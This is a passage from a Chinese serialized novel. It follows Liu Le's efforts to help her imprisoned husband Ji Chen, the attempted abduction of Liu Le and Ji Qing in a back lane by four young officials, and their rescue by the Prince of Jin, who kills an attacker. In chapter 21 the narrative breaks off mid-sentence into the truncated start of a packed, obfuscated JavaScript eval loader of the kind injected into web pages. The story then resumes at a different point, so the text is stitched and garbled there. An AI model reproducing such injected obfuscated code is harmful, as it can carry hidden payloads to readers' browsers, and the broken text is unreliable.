“不必回了，许大人在里面，你们直接进去找他吧。”说着，便指给他们位置。 当下，柳乐、柳图见到了管狱的，柳图递上朋友写好的信，这许冕展开看一眼，忙向柳图打躬：“久仰久仰！一向少会，劳动柳大爷了。” 柳图和他客气几句，说：“许大人事忙，不多扰了，今日是为家妹的事来。请看在叔宏兄面上，行个方便，让家妹见一见我那妹夫。” 许冕苦笑着说：“柳大爷有吩咐，在下敢不照办？更别论高三爷和在下的交情。这里现今涉重案的案犯有二三十人，都不准探望，但若是别个，在下还能想想办法，唯独令妹丈这件案子上头特别有令，实在办不到。别说你们，我和他打个照面都难。” 说来说去，刑部还是来这一套！柳乐生气又失望，可是许冕客客气气的，又有哥哥的朋友在内，不好冲人家发火。柳图仍笑着问：“送几件东西都不行？” “也不是不行，只是在下交不到令妹丈手里，也是要先递给别人，恐怕要仔仔细细翻检过才给拿去。若不介怀，我倒是能给你们转交。” “还有一位我妹夫的兄长，他也不准见？两人是关在一处吗？” “他们是分开的两间屋子，但两个人是一般的，都不准见，不诓你们。” 18. 灰心与黄府 柳图陪笑道：“许大人一看就爽快，既说做不到，那定不是哄人。其实我们就是想得个实在话，知道了，好安心在家等着。” 许冕说：“对，对，正该如此。我是诚心替你们打算，请令妹以后不用往这里跑了，来了也见不到，不如把心放宽，多等几日。我看，案子审一审，没什么大事，过几日也就可以放人了。” “是哪位大人审？” “是吴大人亲审。今天吴大人已经把令妹丈与其兄提上堂一次了。” 柳图忙问：“可是为宅里挖出银子的事？可审出结果了？” 许冕点头：“在下估摸也是审问银子这一节。毕竟不是个小数目，大概要多过几堂，才能审清楚。” 柳乐忍不住说：“越不是小数越好查清楚，这么多银子，到底是谁给的，经谁的手，在哪一日？昨日刚挖出银子，今天便找到行贿赂的人了？若没找到，审多少次也没用，难道定要我们屈招？” “在下不知，实在不敢说。”许冕可能不惯和女子交道，脸上显出几分窘色，“不过吴大人审案用不着担心，滥用刑罚，没见过的事。” 这时来了个小吏，站在门前向内探了探头，口里咳嗽两声。“就来。”许冕冲他答应着，如释重负般向柳图道，“在下还有些小事，少陪了。放心，只要在下说话还管用，保证不让令妹丈在这儿受罪；探望的事在下也尽力想办法，等有法子了，一定知会尊府上。” 柳图和柳乐出来，唉声叹气说：“那高叔宏爱个古画，我把爹那幅巨然给他拿去，他才答应帮忙。我想着他和许冕相熟，事情有门儿，谁知还是见不着，早知不送了。” 柳乐才知是把父亲收藏的宝贝送了人，心里又感动又心疼又生气，可东西已经要不回了，她只好劝慰柳图：“其实还是有用，他答应不让晨大哥受罪，只要人没事，总有个青红皂白出来。再说总算有进展，总算让咱们知道案子开始审了，比前头空关着人一事不知强。” “那是那是，我瞅许冕人倒实在，料不敢撒谎，你也好放心，我回去也告诉爹。”柳图点头说，过一时又叹道，“许冕到底只是个管狱的，他要听命于吴大人，吴大人咱们买不动、攀不上。——可惜爹教的学生虽不少，真正做了官的没几个，就有个郑光礼，偏又不是京官，远水解不了近渴。” 柳乐素来厌烦这些话，仿佛只有做官才能显出一个人的成就，连带将父亲教书育人的苦心都贬得低了。可是经了这段时日，她的想法不禁已有些动摇：你以为洁身自好，怎知别人不来泼脏水呢？世道逼着人们得时时自危。不幸真遇到事，莫说寻常百姓，甚至像计晨这样的官儿都不成，还要在朝中当权才行。——倘好人都不做官，岂不是把权势都交到坏人手中？就说现在手里握着权柄的那些官儿，不敢说一定坏，至少是不作为，要不然计晨不会蒙冤，不会这么久还洗不脱。可偏偏这些官员又叫别人满口称颂着，到底是谁错了？ 反正，这一切实在让人灰心。 柳乐郁郁不乐回到家，把事情对董素娥等说了。这两天，全家人来来回回都在想那一万银子——荥阳离得太远，银子可是从自家院中挖出来的——到底怎回事？先前谁都说不明白计晨哪里行岔了，可是一万银子仿佛会敲锣会打鼓，一夜间，人人都听见计晨收了赃。亲友们再来时，说话已很不客气，仿佛计晨罪名坐实了一般。因此，计家越发着急，可是刑部审案还是没审出个究竟。柳乐到处又跑了几趟，到处都碰了软钉子；这么过了几日，董素娥实在耐不住了，本来她不愿上街，更怕去衙门，可现在呆在家中也不好过，不得已，她和高娴一起去了一趟刑部。 回来后，董素娥见了柳乐，没好声气道：“你怎么说不给见？我们今天去见到你大哥了，他说见过晨儿。” 柳乐一愣，又一喜。她晓得婆母疑她不上心，没有尽力办事，可自己问时，人家确确实实都一口咬定绝不能见。虽奇怪，但不管怎么说，见到计春是好消息，她的心里轻快了些，忙问：“计春大哥还好么？” “好什么呀，瘦得多了。”董素娥说，高娴在一旁抹着眼泪。 柳乐顾不上安慰，急着问：“他是什么时候见了晨大哥？” “就是去刑部的头一日，只见了一面，都没说上几句话。他说晨儿也是瘦了，别的倒没什么，并没受刑。” “那就好。晨大哥有没有说什么，比方他知道谁会陷害他？” “春儿说见到晨儿时，还不知道银子的事，便没问，他说肯定和晨儿没关系。他们统共说了没有三句话，晨儿说他没做错事，让他哥哥见到我们时转告，还说若将来判了罪，让你家去，另寻个好归宿。” 柳乐心里一酸：这种时候他还要为她想，怕她抛下他还是怕她不抛下他，要说这种话？ 董素娥嚎啕地哭起来：“莫非他是想着出不来了？我的两个儿啊，真要有个三长两短，好歹给我计家留下个根苗，不然，计家绝了后，我可怎么见列祖列宗哪。” 高娴和柳乐互相看看，也讲不出话来劝。 . 所谓急病乱投医，为计晨的案子，亲友当中但凡有一官半职的，无论是不是沾边，计家都找过一遍。甚至于高娴有位远房表亲是太仆寺的马医，简直八竿子打不着，给董素娥一句：“说不定有门路呢。”力逼高娴带着礼登门去求。 近来，董素娥见了计春一次，可后来再去又怎么也见不着了；一万两银子也没有下文，连计家住宅都无人提出归还。董素娥急得发疯，不管谁能说上句闪闪烁烁的话，就恨不得拿他当个救星。为求人办事，连计晴的金饰也卖了个光，柳乐因从娘家拿了几回钱，便把首饰都交给哥哥暂为保管，权且称作入了当铺。 柳图向妹妹提醒过几次：要拜就拜真佛，拜这些小鬼不但无济于事，说不定哪个从中捣乱，还适得其反。柳乐倒不担心，求人多了，她也知道这里边一大半根本就没想帮忙，不过白收着礼，陪几句安慰话；即便哪个有心捣乱，最多是要趁机多捞几个钱，真没人能够左右得了案子。 可她也想，到底谁称得上真佛，且她能拜得 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这件事——还不知能不能成——柳乐打算自己办，不愿董素娥插手，因此她谁也没告诉，只向柳图打听了黄府所在，备好帖子，一人雇车过去了。先到正门前，见大门闭着，又到角门边，也关着，上去敲了门，半日才有个小厮出来，一话不问，傲慢地说：“老爷不在家会客，上衙门找去。” 柳乐连忙递上拜帖：“请上覆你们夫人。” 小厮低一低眼皮，并不接帖子，“夫人今天不会客。”话音未落，转身进去将门关了。 柳乐气得发怔，又自悔没及时拿出银子，明知这些管门的多数难缠。立了一时，无法，只得又绕到黄宅后头。后面一个小门倒是开着，柳乐等了一会儿，见一个胖大姐儿出来，踩在门槛上摇摇摆摆嗑起了瓜子，急忙上去问：“你们夫人在不在家？” “哎呀，可吓我一跳。”那大姐儿抚着胸，大声嚷嚷，“你打哪儿出来的。” 柳乐怕引来人，赶紧把她拉到一边，“你们夫人约我来，我有事来早了，请你帮我递个信进去。”一面说一面把名帖和一块银子都塞在对方手中。 那姑娘好奇地打量了柳乐半天，面上露出些笑，“不是今天罢，今天夫人不会客。” 柳乐听她也说一样的话，不禁失望，勉强笑道：“不是今天，但我有要紧事要与她说。你先帮我拿给夫人，夫人实在不得闲就罢了。” “我是灶上的，不管会客的事，我只能拿给封嬷嬷，你在这儿等等。”丫环说。 “别给封嬷嬷。”柳乐唤住她，“你帮我交到夫人手里，她肯定不会怪你。” “我试试吧。”那丫头手捏着帖子，犹犹豫豫地走了。 柳乐在门旁静静站了一炷香工夫，方见一个大丫头急匆匆走来。柳乐看她面熟，想起那天在花园亭子里就是她来喊谢音徵的，这丫环好像也认得柳乐，走近了说：“你跟我来。”便领她到后罩房中的一间，打开门，“夫人请你在这儿稍坐一坐，她就来。”转身出去，须臾回来，端来一盅茶，又急急忙忙走了。 19. 防范和办法 柳乐打量一眼房间：屋子很小，没摆多少东西，桌椅已占去一半，另半边是一张窄床，看来可能就是刚才那丫环的屋子。柳乐正思忖此来给谢音徵添了许多不便，就见谢音徵本人迈着十分轻捷的步子走进屋。她向身后飞快看一看，半掩了门，“柳妹妹。”她招呼柳乐，解释说，“我婆母在前头坐着，来了客人都要问的，她老人家话多，我恐怕你有急事，就不让你往前头去了。” 谢音徵满面显出羞愧之色，柳乐只作没有注意。她自己本来也非常焦急，于是顾不得多客套，直接说明来意：“姐姐不用客气，咱们都不是爱讲虚礼的人。我确实是有急事才来打扰姐姐，是为家夫的事。 “姐姐可能听说过，家夫计正辰任工部员外郎一职，今年二月初奉命往河南荥阳去督建水坝，七月末回京，刚进城便被关押了，至今我还没有见到他一面，也不知他究竟所犯何事。官府衙门只说水坝牵涉私采铁矿等事，家夫参与其中，其余一概不告知我们。又封了家宅搜查赃物，已有一个多月，前两日刚从花园里挖出一万两现银，要把这个认作受贿物证。 “但这些银子决非家夫所收。我……我怀疑是有人着意陷害，希望官府能够详察，可是从一开始衙门便一味敷衍我们，很多事情都含含糊糊，不清不楚。” “难怪你着急。”谢音徵抓住柳乐的手，同情地望着她，“你还没有见到你丈夫？” “没有，他们不许，说怕有同党通了消息，而且连家夫的兄长也被关了，我公公因此事气得病了，这才例许在家调治，不然也要收在监牢。” “这实在太不合道理。”谢音徵蹙起眉，想了一会儿，“这事我确实听到过，但所知不详细。既然那一万两银子是后面才找到的，且来处还存疑，那先前是何人状告计大人，又是凭何证据呢？” 柳乐悲愤道：“至今还不知证物何在，我不服气亦在此处。整件事连我们也都是朦朦胧胧，我把我所知的告诉姐姐：家夫在工部一向研究水利工程等事，他绘有一套水坝图，为此得了这件在黄河上建坝的差事。 “家夫向我说过，水坝建造工程浩大，先前准备了很久，各项事宜皆有专人负责，大都是当地官员；而家夫的差事是交代他们按照图纸建造，家夫说他在那边一人不认识，所以临去前还有些忐忑，怕不好交道，耽延公事。不过从寄回的家书看，似乎并未遇到头疼难办之事。 “工程首期必要的事结束后，家夫便归京了，派去接替他的是工部的王大人。家夫离开后，王大人发现工程用料不足，找出几个担干系的人，他们却咬定是家夫知情并授意的，因此，后续又有私采铁矿私通外邦等罪名也都落在了家夫头上——不说其它，单只工程材料一事，查证不难，只要把图纸、用料清单一一比列，计算出来若是对不上，又有家夫押字，便不是撰造，可算是由他授意。岂能没有真凭实据，只靠嘴说？ “如今且不明是否查访得实，只知道先是把家夫下在大理寺监牢，等待人证到齐当堂对质，最近听说相关人已从荥阳押解到京，家夫被转到刑部监牢关押，要由刑部审讯。只要能公道审案，不管哪里审都行，可是偏偏这时候又冒出了一万两银子，我认为是有人故意趁审案之先栽赃，意图混淆视听，干扰审讯。而官府又始终是支支吾吾，我怕中间有不公道处，我想，黄大人或许……” 谢音徵一边听，一边思索，突然间脸色一变，打断道：“你觉得其中有冤情，要向黄……要向家夫申诉？” 柳乐说：“案件未结，我也不好说有没有冤，只是怕等到判出结果再申诉就太晚了，况我们不懂官府行事规则，现在全无一个头绪，我想黄大人在都察院，或许知道此案，因此冒昧来求告。” 谢音徵黯然摇了摇头：“家夫的公事从不向我说，他也不愿我过问，这件案子在都察院是不是分给他管我都不清楚。其实我在家里，并说不上话，不过即使我去，或者任何人请求他，恐怕都没用。家夫眼里是不认得人的，他只按自己的想法做事。” 她说着，看见柳乐神情，忙又道：“我试一试，我先问问他，要他知晓此事。若是在别人那儿办，请他和人家说一句，若就在他手上，他是会秉公处理的，要他多多留心一下总不为错。我想这样多少也有些用吧。” 柳乐本已失望，听见这话却是意外之想，感激万分地说：“只要黄大人从旁问一句，他们知道，必不敢乱做手脚，这便是帮了大忙了。” “你先别太——你先别太着急，等家夫回来，我看他心绪好时对他讲。不过，万一他不听，还得另想个办法……”谢音徵凝眸沉思，忽地站起身，眼睛闪闪发亮，“我知道有个人，应该能帮上忙。”她顿了下，颊上现出一团激动的红晕，“你大概不识得他，这样，我这就写一封信，你带去给他。” 话刚说到这里，一位婆子推门进来，嗓音洪亮地说：“夫人怎么来这里了？快回去吧，等下老太太问起来，我没话答。” 柳乐见她有些年纪了，穿戴不凡，心想她必是上回谢音徵说过、也是刚才丫环口里提到的那位封嬷嬷，忙起身。 谢音徵的脸先是变得雪白，跟着一下子涨得通红，“我刚才回过老太太，说我坐得身上乏了，要出来走一走，她也没有不许我，嬷嬷不用这么着急来催。” “那夫人来下人房间做什么？我陪夫人走走。”婆子伸出手，作势去扶谢音徵。 “封嬷嬷！”谢音徵喊了一句，咬住下嘴唇，“我这里有客人说话，你先出去罢。” “今天不是会客日子，哪来的客人？怕是来求情的吧。”封嬷嬷斜瞟了柳乐几眼，“真有冤屈自然敢往衙门去投状子，何必来家里说。谁不知夫人心软，不论好歹 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“先前闹出了一两桩事，惹来好大的麻烦，这才防得森严了，不许那些乱七八糟的人上门。不可不防啊，多少双眼睛盯着老爷呢，你们一场闲话，要被有心人听见，又做了诬蔑老爷的口实，你是不晓得这里头的利害。” “嬷嬷不要小题大做危言耸听，”谢音徵面露愠色，“这位是我多年的好友了，想念不过，邀她来叙叙话，扯那些没相干的做什么？” 封嬷嬷哼笑一声：“别说长年累月的朋友，哪怕是从小一处长大了的亲戚，也是各家人管好各家事。老爷那个亲亲的兄弟，在外头吃喝嫖赌地胡来，老爷允他上门么？不是照样和他断了关系？” 谢音徵浑身发抖，喊道：“这是我的朋友，如何与闲人无赖作比？” 柳乐不是头一回受言语之辱，以为早把心肠炼得刀枪不入了，此番还是气得面色发白，她不愿谢音徵为难，急忙说：“嬷嬷说得不错，咱们虽是无心之言，只怕那些小人听见了，难免要故意曲解，拿去做个骂人的把柄，还是少说为是。天已不早，我该回去了。今天见到谢姐姐，能诉诉心事，这心事便已消了一半，姐姐别再为我挂虑，自己也要多保重。”最后一句，她是真心地说出来。 谢音徵点点头：“我送送你。”说罢，出了屋子，带头向后门走去，柳乐跟上她，封嬷嬷也跟了出来，一路陪在旁边。 一面走着，谢音徵对柳乐说：“你放心回去吧，衙门一定能公正办事，我若干预，怕反而把事情弄坏了。” 快到门口时，柳乐停住脚，“谢姐姐请留步，不劳远送。” 她又向封嬷嬷笑一笑，刚转身，谢音徵突然跨前几步，靠近她，小声地、飞快地说：“我刚说的那个人是晋王爷。我不能写信了，你自己去找他吧。——别提我。” 然后，她扶门站定，笑道：“今日未能尽情交谈，实在对不住，妹妹空了一定再来。” 20. 犹豫和深巷 在黄家见过谢音徵回来，柳乐心里反更愁闷烦乱了：一是因为那个封嬷嬷出语伤人，还不知事后会不会告恶状，让谢音徵受气；二是因为从那满口清正，却又鬼鬼祟祟、蛮横不近情理的刁嬷嬷身上，柳乐觉出黄大人也难算个好人——连好人且称不上，如何能做个好官？指望他细问案情就不必提了，而谢音徵嫁给这么一个人，柳乐不禁还要替她叫屈；三是因为谢音徵说出一个晋王爷。 柳乐心想谢音徵那么聪慧，唯独在此处有些糊涂，她太相信晋王爷了。 可柳乐不信，所以拿不定主意要不要去。和找谢音徵不同，求王爷说情，她感到有些别扭，想到要上王府，她不由心里发怵。 自这求人不求人上，她又想到“同声相应，同气相求”一说，心道：或许谢姐姐看到的晋王爷与我看到的，果真不是一个人。她看到的那个，与她同声同气，我看到的这个，我与他却是话不投机半句多。谢姐姐不知道王爷已经嘲笑过我和晨大哥，这也难怪，她毕竟对王爷有情，他们又是表兄妹，打小就认识。若我去了，八成只落得一场羞辱。——若真管用，羞辱几句算什么？反正没别的法儿，倒不如碰碰运气。看在谢姐姐面上，王爷未必不答应帮晨大哥，可是谢姐姐又说不要提她。唉，我找去她家里已经够让她为难了，得小心不能再给那起小人送话柄。但不提的话，我用个什么由头，王爷真肯帮忙？ 柳乐思前想后，想了一天，委决不下，这时她正在屋内坐着，计晴匆匆忙忙地跑进来，四下里乱看：“你这里有人没有，巧莺呢？” “没在家，她出门去了，怎么？” 计晴却关上门，把柳乐拉至屋内，悄悄说：“刚才赵姑娘，就是上回去谭家拜寿时你也见过的，赵家二小姐，她叫丫环来告诉我，说可以让我见到二哥。”说完，焦急地觑柳乐神色。 柳乐听这话出乎意料，忙问：“慢慢说，怎么见？” “她一个哥哥在东城兵马司，这些天得到消息，说要把二哥带去一个地方，由他们出几个人路上接送，到了看守一日，完了就转去别处。就是趁他们自己人看守时能让我进去见。只后日一天，过了这个村，就没这个店了。” “怎么，要把你哥哥带去哪儿？”柳乐心里一咯噔。 “倒不是为别事，只是最近刑部牢房里又进了一批犯人，挤不下了，所以给哥哥换个地方，他们也不知道详细。” “挤不下就快放人啊。”柳乐哼了一声，想想又问，“告诉母亲没有？” “没有，赵姑娘让我别告诉人，自己一个人去。” “那怎么行？” “她说人多了不成，一来怕走了消息，二来怕到时不好带进去。我想母亲她恐怕沉不住气，说不定喊叫出来，或者见了哥哥，要她走时又不肯走，岂不坏了事？可我一个人无论如何不敢，我想还是咱们两个去。” 柳乐想了一想，“究竟可靠吗，要是被人发现会怎样？他们也得担干系吧，怎么肯帮我们？” “赵姑娘和我算是要好，她说她哥哥知道二哥的事，替咱们不平，愿意帮忙让咱们试一试。他们也怕担干系，所以要保证妥当，咱们去了未必真能见到。得瞅机会，快快进去见一面，说几句话；若不成，只好原路回来。成与不成，最多五五分。” 柳乐听这几率不高，看来对方也很谨慎，便动了几分心，又问：“在哪里会面？” “樱桃巷后面胡同里，有车等着，带我们去那地方，等见完了，还送回樱桃巷。” 柳乐没去过樱桃巷，不过隐约记得那里很僻静，正在东面，是东城兵马司所辖之处。她想，既然有这么个机会，何必放过呢。想起衙门里那帮人的敷衍之辞，她心里暗自哼笑：不是不准见吗，我倒偏要见他一回。 不过柳乐也并不全为赌气：虽然见不见面影响不了案子，可是计晨被关了那么久，能见见家人，对他想必是个很大的鼓舞；就算见不着，多一场失望也没什么，反正整天白跑，早就习惯了。 计晴紧张又期待地看着她。 “咱们去。”柳乐说。 最近家里忙乱，董素娥时常想起一事，看见谁就支使谁去，一会儿又记起别事，再随口指派另一个去，早已没有各司其职一说，大家只管乱哄哄跑前跑后，进进出出，也无人理论。柳乐和计晴只回了一声要去买几样日用之物，董素娥便挥手让她们去了。 两个人上午出门，雇了车，行了多一半路程后下车走去。她们穿着不显眼的旧衣裳，低着头步履匆匆，等走到巷口才停下歇歇，两人鬓边都见了细汗。柳乐拿手在脸前扇着风，尽力向巷子里望去。樱桃巷不像它的名字那么可爱，只是条乏善可陈的巷弄，两面的宅院或许静雅，但都给高高的院墙围着；道路不窄，但并非完全直来直去，不能一眼望到巷底，只知道出了巷子就是城墙——此处已是东城边上——行人很少。 转过一道弓形弯，果然看见路尽头停有一辆黑色马车，轿厢朝后对着她们，马儿与车夫都瞧不见，周围一无人影，简直连个活物都没有，只见城墙黑沉沉横亘在前头。 半是为消除紧张，柳乐小声说：“这些院子有人住着没有，也不像是废弃不用的，这样静静悄悄，都不出门么？” 计晴也闹不明白：“可能是那种性子乖僻、不肯和人打交道的人，或者整日吃斋念佛，年迈养静的，大概就住这里。” 其实两个人想过头了。这一带宅子的屋主绝不孤僻，反而春风得意、左右逢源——既有身份，又有银钱的人往往如此；他们也绝不老迈，不然无论昏聩还是睿智，早做了一家之长，说一不二，何须另置外宅？只有那些富贵家族中的青年子弟，得了个女子，或嫌高堂管束，或惧娇妻生妒，或怕美妾拈酸，故此不肯让家里人知道——看中这里靠近 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一般的正经青年，看见是这样规矩严整的人家，路过时都不敢抬头，免得造次，可偏生就有些不懂事的下流种子，至晚便摸过来，按当日日期，在后巷几长几短地叩门。即刻便有人来开，门关上以后，院子又恢复了宁静，里面的事情除了当事人，谁也不清楚。只能大胆猜测一番：对有些人来说，夜探幽闺比起往秦楼楚馆寻求欢爱，一定别有一番刺激——每天入夜时分准时响起，无一日空歇的叩门声就是明证。 这一切柳乐闻所未闻，计晴一个未出阁的闺女，自然也无从知晓。两人心里直打鼓，甚至猜想这便是那秘密羁押之处，也许计晨此时就在某间屋子里。 如此一想，一列列屋檐愈发显得阴沉、不详，但她们勇敢地朝前走去。 车门忽地打开，一人探身出来笑道：“来了。” 几人闻声从拐角处转出来，和车上那人一共四个，都不上三十年纪，均作便服打扮，身穿花花绿绿簇新鲜亮罗缎褶子，头戴小帽，一人手里还捏着把折扇。 计晴看对方全是男子，且没个年高可敬的，不禁羞怯不前。 柳乐也瞧这些人年纪太轻，且衣饰浮华，根本不像办正经事的样子，疑窦顿生，拉着计晴在路中停下脚。 来之前，她们已把事情翻来覆去地盘算了几遍：见到接应的人，如何看他们安排行事；如何小心谨慎，不多说多瞧；见了计晨，别只顾着抱头伤心，该讲哪些要紧话；也防备着临时遇着意料外的事。但她们以为至不济就是白跑一趟，却没想到一上来碰见的是这么样几个人。 其中一个已一步跨上前招呼道：“二位果然准时。这边请。”他生了一张虚胖的脸，两腮微微下坠，五官大而显得松垮，但已是这帮人中长相最顺眼的了，其他几个眉奸目诈，嚣张跋扈，几双闪着贼光的眼睛在两人身上来回巡睃。 21. 血迹与笑容 “去哪儿？哪一位是赵大哥？”柳乐稳稳神，问道。 “我就是。你便是计兄弟的小娘子？”对方一双无神的大眼忽然射出兴奋的光，嘎声笑起来，红彤彤的脖子粗了一圈。“站着说话不方便，请二位进屋去细细商议。” “不方便我们就先回了。”柳乐见他竟然就是赵姑娘的哥哥、号称在兵马司做指挥的，悔之不及，只想尽快离开。 “那哪成，我们是诚心要帮忙，哪能劳二位空跑一回。你看，车子都准备好了，等办完事情，见了人，原送你们回去。” “我哥哥究竟在不在这儿？”计晴问。 “保证让你见到，进来说，进来说。” 柳乐拉住计晴连倒几步，赵指挥身后三人却一步步逼上来，一个半圈将两人围在当中。 柳乐一时想不出如何顺利脱身，怕撕破了脸对方强拦，因故意环顾四周，问：“请教诸位，拙夫此时便在这附近，何时能见他？” “计兄弟不在这里，这是我们平日避静的几处蜗居小室。二位不肯赏我个脸儿，对面就是这位常二哥的院子，先去他家里坐坐？”姓赵的指指身边一人，那人站出来，哈哈笑着说：“在下常琨，亦在兵马司效力，欢迎嫂子和姐姐往寒舍小憩。——此时还早，过了正午，等人都困乏松懈时，正好换上我们的人，好让你们进去探视计兄。” 柳乐便说：“多谢几位。我们原想简单了，以为即刻便能见到，若如此不便，不敢要诸位劳碌担险，宁可不见罢。” 常琨换了副脸色：“哥几个一早就准备了，上下打点，搭进不少人情工夫，因为听闻计正辰是个值得结交的朋友。谁知嫂子不拿我们当自己人，答应过的事，如何又作罢？” 柳乐忙道：“我们妇人家晓得什么，愚笨不识敬重，大哥勿要见怪。既然已打点清楚了，怎好让几位大哥用心白费，今天果然能见就最好不过，感激厚意不尽。只是还有几个家人随着一起来，现在巷外头等着，见我们去得久了，怕着急乱找进来，我们先去招呼一声为好。” “小事小事，不用你们着忙，我让人去巷口望望。”姓赵的笑道。 “家人得了嘱咐，要谨慎行事，见了不认得的人，未必轻信，万一又生出事端，还是我们去一趟。” “要不然，你们拿件东西——身上有没有带着一块帕子，或者拔一只簪子，给他们看了还不信？”常琨色迷迷地往柳乐全身看了一圈，其他几人都嘻嘻笑起来。 柳乐再不和他们多话，拽着计晴拔腿就走。 一人揪住计晴，“过来呀，好好听哥哥一句，事情有门儿。” “你们斯文着些，别逗人家。”姓赵的假意去拉，“别走别走，听我说：我们几个还做不得主，有位长官在里面，他怕放了同犯进去互递消息。你们是计正辰的亲眷，自然无事，只是需他大人亲眼确认过方能准。怎样，进去见一见，取了令牌，接着咱们就走。” 计晴吓得不知如何是好，不敢答应，又不敢不答应。柳乐喊叫说：“别信他们，光天化日截路不成，我们只管走。” 一人说：“咱们斯文说话，大喊大叫未免不雅，再喊可就捂嘴了。” 常琨说：“由她喊，这一片都是咱手下的兄弟们照料，喊不来别人。” “让你别着急吧，惹常二哥生气可就麻烦了。” “离了汉子半年，想汉子了，怎么不着急？” “计正辰倒讨好个鲜艳的娘子。” “别和我们见外，等我去对计正辰说，不怕他不拱手送你过来。” 四个人立在四面，把二人密不透风围住，一人一句，说出许多淫猥的言语。也不知是谁拉住计晴一条胳膊，又有人拉柳乐，就往院子里拖。 计晴大声哭叫。 “得了，别装娇娇小姐，这能算什么？”常琨恶狠狠、厚颜无耻地说，“等你们充入教坊，哥儿几个还要去关照。” “可不，先习惯习惯，怕什么，去了那儿，你们也是上等货。” 趁他们说话不备，柳乐猛挣开，一头撞出人墙，跑出几步转头想帮计晴时，她已被半推半拽拉入门里了。 常琨并不着急，对着几人说：“你们先去好生招待她，等我再劝劝那个。” 柳乐抓起裙子回身就跑，一眼瞧见前面一道门开着，门口站着人，正张望。她心想这里住的全是恶人，不论被拉进哪里都逃不脱，无暇细看，发足向巷外奔去。眼见跑出一多半却被常琨追上，狠狠揪住胳膊。 “跑去哪里？都是咱们自己的宅院，无人到此处来，跟我走罢！” 正拉扯时，巷口传来马车声，两人都转头望去，见一架黑色马车，由两匹健马拉着，旁边随着几名骑马侍从，正往这边拐。 柳乐大喜，一面在常琨身上扑打一面呼喊救命。常琨紧紧拽住她，满不在乎道：“谁家的车回来了？这一片没不认得我的，整个京城的人全知道常大爷！这是我家门口，当真嚷嚷出来，也是你背着丈夫与我私会。” 他见车子靠近，益发要使他们知道，省得来管闲事，于是满嘴里大声说：“乖乖儿，莫使性，饶你这回，早跟爷回去，还有你的好处。” 马车照常行驶，侍从们也端坐于马上没有动作，柳乐的心快要沉下去了。谁知车行到跟前却又停住，从上面跳下一个男子，弹弹衣袖，负手走来。 柳乐一眼看见那人威严的模样，心头一宽。能得救了，她高兴地想。——来人不是别个，是那位晋王。他见过她，应该还认得出。柳乐不怕有人会听常琨胡说八道，只怕再来一个又是他们一伙，这下她放了心：虽难说晋王是多么正直的人，但他自负身份，总不至于跟这些淫恶之徒为伍。 常琨也瞧见了，不敢再逞性，只将柳乐推在身后，一手拽住。柳乐甩开胳膊，站住匀匀气。常琨见她不喊不闹，以为自己的威胁奏了效 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他的脸被溅上了几点血，胸前也有。可是可怕的是他的眼睛，只有把取人性命看作家常便饭，对生死完全无动于衷的人才可能有这种眼神。 柳乐浑身一颤，哑着嗓子喊道：“快去救人，计姑娘在——” “你过去看看。”晋王松开手，对一位打扮与他人稍见不同的青衣侍从道，“不要吓到计姑娘。” 侍从去了，另一人拿出条帕子，从水囊倒水来沾湿，捧给晋王。他拿起来漫不经心在脸上抹了抹，又低头在前襟上抹了抹，轻巧随意地一丢。“收拾了。” 两名侍从上前，一人抬头，一人抬脚，把尸首抬入车里，又一人捡起地上的匕首等物收了，从腰上拔出刀，用刀鞘把渗了血的地皮翻起来，血迹埋到底下去，用脚踏实。不足半盏茶工夫，一切处理妥当，丝毫看不出此处刚发生过血淋淋一场命案。 晋王这时候冲柳乐笑道：“你帮我瞧瞧，还有没有？” 柳乐气息未平，闻言一惊，向他脸上望一眼。一张脸干干净净，干净得唇边的笑炫目如艳阳，她没想到他会这样笑。 柳乐这才看出他天生的威势，不敢再看，目光移到他身上：他穿一件靛蓝圆领缎袍，胸前只有两道擦拭留下的水迹，看着并不显眼。 “没有了。” 晋王也把她略一打量，“不必担心，你身上没沾上。不过这衣服回去还是扔了吧。” 22. 大恩和赐礼 柳乐刚才无意中已把自己身上整了整，发现衣服没被撕破，但她还没心思去关心衣裳的事，此时想起两只脏手将她拉来拽去，无比恶心，这一身当真不能要了。再一想那双手已成了死人的手，汗毛都乍起来了。 晋王又笑道：“还好你没穿上回那条像孔雀尾巴的裙子，不然太可惜，要是穿那条绿裙子，就更可惜了。” 柳乐知道他可能是好意：她猜测他是借此消除她的惊惧。可她十分不惯他一头刚杀过人，一头就浑不在意地说笑起来。道谢的话堵在她的喉咙口，就是说不出。 “真是巧啊，不过我可没想到你会来这地方。”晋王瞅着柳乐说，神情语气似乎都挺古怪，但柳乐也不及细思，光是嘴里含糊应了两声。 现在她只顾担心计晴，一双眼睛往巷子深处望着，正看到那侍卫在前，计晴落后数步，一同走过来。再瞧计晴，是一副惊惶的模样，但衣衫还整齐，走起路也不像受伤的样子。柳乐僵直的身体这才一松，顿觉双膝发软，从头到脚再没丁点儿气力。 护卫上前对晋王说：“禀殿下，那几人有东城兵马司指挥赵德，刚才那个是北城兵马司副指挥常琨，其余人无职，此处是他们的两所院房。卑职稍稍教训了他们一下，答应不敢再犯。” 晋王听了也不言语，看向计晴，关切地问道：“计姑娘没事吧？” “我没事。”计晴说着，一串莹莹的泪珠已挂下来。“多谢殿下救命之恩。”她望向晋王，摇摇摆摆就要拜倒。 “姑娘言重了，一点小事，不必这样。”晋王说着伸手去扶，但在她胳膊前顿住了。 柳乐忙从旁边扶住计晴，她也确实需要抓住一个人，不然她担心自己马上就要歪倒在地。 晋王说：“姑娘平安就好。尽快把这事忘了吧，那几个人你不必顾虑，不会再有人知道。” “殿下大恩……” “不用再提。”晋王摆了摆手，恳切道，“姑娘莫嫌我多事，小王还有一言：此地虽在城内，到底是偏僻背街，往来行走的人少，——我也是凑巧到附近来看宅子，有如此邻居，看来是不能在选在这一带了。——姑娘的家人也过于轻率，让你独自跑到这里似乎不太妥当。” 柳乐感到晋王话里暗含对她的谴责，不过，她本来已很悔恨，心里又惊又愧，混杂着后怕，也就顾不上晋王，何况他救了她们，哪怕骂一顿又算什么。 计晴泣道：“并非家人让我来此，是我自己——是为我兄长，自他下狱，我和嫂子还未曾见他一面，因此情急，轻信了朋友的话，以为来此便能见他。” 